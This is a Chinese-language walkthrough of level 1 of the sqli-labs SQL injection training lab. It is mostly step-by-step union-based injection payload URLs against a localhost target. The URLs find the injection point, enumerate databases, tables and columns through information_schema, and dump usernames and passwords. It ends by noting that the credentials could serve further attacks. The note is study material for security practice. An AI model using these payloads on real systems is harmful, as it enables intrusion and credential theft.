sqli-labs通关笔记
SQL注入靶场Sqli-Labs 1-65关全部通关笔记【持续更新】 - rebootORZ - 博客园 (cnblogs.com)
Less-1
单引号报错,确认存在注入点:
http://127.0.0.1/sqli-labs/Less-1/?id=1'
猜测网络数据库的字段数:4字段报错,证明字段少于4,再次猜测
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 1,2,3,4--+
稍微减少一点进行猜测,猜测有3个字段:
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 1,2,3--+
3字段未报错,证明应该是存在3个字段的;使用union注入查看哪些字段是有回显的
这里为了不让前面id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值(当然也可以用 and 1=2之类的,只要能查询失败即可)
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3--+
可以看到只有字段2和3的位置是存在回显的,所以我们此时需要通过字段2和3进行查询数据库的信息。
接下我们使用字段2和3会先数据库名和数据库版本信息
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),version()--+
可知数据库的名称是security,数据库版本是:5.0.96-community
查询所有的数据库名
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
可以看到存在三个数据库分别为information_schema,challenges,mysql,security
查看security
数据库下的所有表名
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
可以看到security
数据库中所有的表名emails,referers,uagents,users
根据表名可以看出users
表内的数据信息可能更加重要,查看users
表内的列名
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
可以看到该表存储这用户名和密码,再次通过查表得到这些用户名和密码
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+
确实得到了用户名和密码,此关卡也就到此结束了,对于实际情况下,则能够运用这些用户名和密码进行进一步的攻击了。